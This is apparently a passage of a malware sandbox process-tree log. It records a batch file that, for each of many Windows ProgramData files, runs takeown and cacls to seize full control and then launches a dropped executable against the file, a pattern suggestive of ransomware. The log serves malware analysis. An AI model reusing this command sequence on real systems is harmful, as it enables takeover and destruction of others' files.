  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd""
  2⤵
  PID:1912
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd" /E /G Admin:F /C
    3⤵
    PID:400
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner
    3⤵
    PID:2360
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner
      4⤵
      Executes dropped EXE
      PID:940
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:2596
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""
  2⤵
  PID:3412
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C
    3⤵
    PID:4020
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3556
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "background.png" -nobanner
    3⤵
    PID:3196
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "background.png" -nobanner
      4⤵
      Executes dropped EXE
      PID:2328
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""
  2⤵
  PID:2004
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C
    3⤵
    PID:3140
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "tasks.xml" -nobanner
    3⤵
    PID:3332
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "tasks.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:3264
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3804
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml""
  2⤵
  PID:3932
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml" /E /G Admin:F /C
    3⤵
    PID:3296
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner
    3⤵
    PID:3960
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:1112
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:2740
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml""
  2⤵
  PID:1420
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml" /E /G Admin:F /C
    3⤵
    PID:940
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner
    3⤵
    PID:2360
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:3980
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:2968
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml""
  2⤵
  PID:3196
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml" /E /G Admin:F /C
    3⤵
    PID:2684
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner
    3⤵
    PID:3456
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:940
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3304
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd""
  2⤵
  PID:4072
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd" /E /G Admin:F /C
    3⤵
    PID:2380
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner
    3⤵
    PID:3412
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner
      4⤵
      Executes dropped EXE
      PID:2684
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3780
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.65e2bc17-a539-4ced-896b-ebc3769d88f1.1.etl""
  2⤵
  PID:3232
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.65e2bc17-a539-4ced-896b-ebc3769d88f1.1.etl" /E /G Admin:F /C
    3⤵
    PID:4064
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.65e2bc17-a539-4ced-896b-ebc3769d88f1.1.etl"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2244
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MoUsoCoreWorker.65e2bc17-a539-4ced-896b-ebc3769d88f1.1.etl" -nobanner
    3⤵
    PID:4040
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MoUsoCoreWorker.65e2bc17-a539-4ced-896b-ebc3769d88f1.1.etl" -nobanner
      4⤵
      Executes dropped EXE
      PID:2380
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3340
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.aa970506-f5b9-49fa-9427-b94673363750.1.etl""
  2⤵
  PID:2684
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\WuProvider.aa970506-f5b9-49fa-9427-b94673363750.1.etl" /E /G Admin:F /C
    3⤵
    PID:3112
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.aa970506-f5b9-49fa-9427-b94673363750.1.etl"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "WuProvider.aa970506-f5b9-49fa-9427-b94673363750.1.etl" -nobanner
    3⤵
    PID:3648
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "WuProvider.aa970506-f5b9-49fa-9427-b94673363750.1.etl" -nobanner
      4⤵
      Executes dropped EXE
      PID:2988
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:1208
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml""
  2⤵
  PID:876
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml" /E /G Admin:F /C
    3⤵
    PID:1436
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3232
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "behavior.xml" -nobanner
    3⤵
    PID:940
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "behavior.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:112
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3112
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml""
  2⤵
  PID:1988
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml" /E /G Admin:F /C
    3⤵
    PID:3332
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "behavior.xml" -nobanner
    3⤵
    PID:4036
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "behavior.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:3304
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3796
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml""
  2⤵
  PID:3844
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml" /E /G Admin:F /C
    3⤵
    PID:400
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:264
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:280
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:296
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml""
  2⤵
  PID:3332
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml" /E /G Admin:F /C
    3⤵
    PID:1404
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:3164
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:2132
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1208
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""
  2⤵
  PID:3196
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C
    3⤵
    PID:2964
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:284
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "background.png" -nobanner
    3⤵
    PID:268
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "background.png" -nobanner
      4⤵
      PID:3992
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3888
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""
  2⤵
  PID:3828
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C
    3⤵
    PID:3304
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "overlay.png" -nobanner
    3⤵
    PID:2972
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "overlay.png" -nobanner
      4⤵
      PID:3140
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3924
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml""
  2⤵
  PID:3780
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml" /E /G Admin:F /C
    3⤵
    PID:292
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:268
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:3456
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3340
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml""
  2⤵
  PID:440
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml" /E /G Admin:F /C
    3⤵
    PID:3496
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2168
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner
    3⤵
    PID:2972
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner
      4⤵
      PID:3412
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1104
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml""
  2⤵
  PID:1120
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml" /E /G Admin:F /C
    3⤵
    PID:264
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner
    3⤵
    PID:268
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner
      4⤵
      PID:1988
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:628
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml""
  2⤵
  PID:1384
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml" /E /G Admin:F /C
    3⤵
    PID:3924
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1604
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner
    3⤵
    PID:3232
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner
      4⤵
      PID:3304
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:208
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1""
  2⤵
  PID:2360
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1" /E /G Admin:F /C
    3⤵
    PID:3128
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:284
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner
    3⤵
    PID:112
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner
      4⤵
      PID:768
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3924
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml""
  2⤵
  PID:1604
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml" /E /G Admin:F /C
    3⤵
    PID:2168
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml"
    3⤵
    - Modifies file permissions
    PID:2380
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:2788
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:1420
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1124
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml""
  2⤵
  PID:296
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml" /E /G Admin:F /C
    3⤵
    PID:3320
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml"
    3⤵
    PID:264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:3456
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:2132
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml""
  2⤵
  PID:3796
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml" /E /G Admin:F /C
    3⤵
    PID:208
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml"
    3⤵
    PID:3172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftLync2010.xml" -nobanner
    3⤵
    PID:1124
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftLync2010.xml" -nobanner
      4⤵
      PID:268
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3888
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml""
  2⤵
  PID:3760
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml" /E /G Admin:F /C
    3⤵
    PID:3412
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml"
    3⤵
    PID:2988
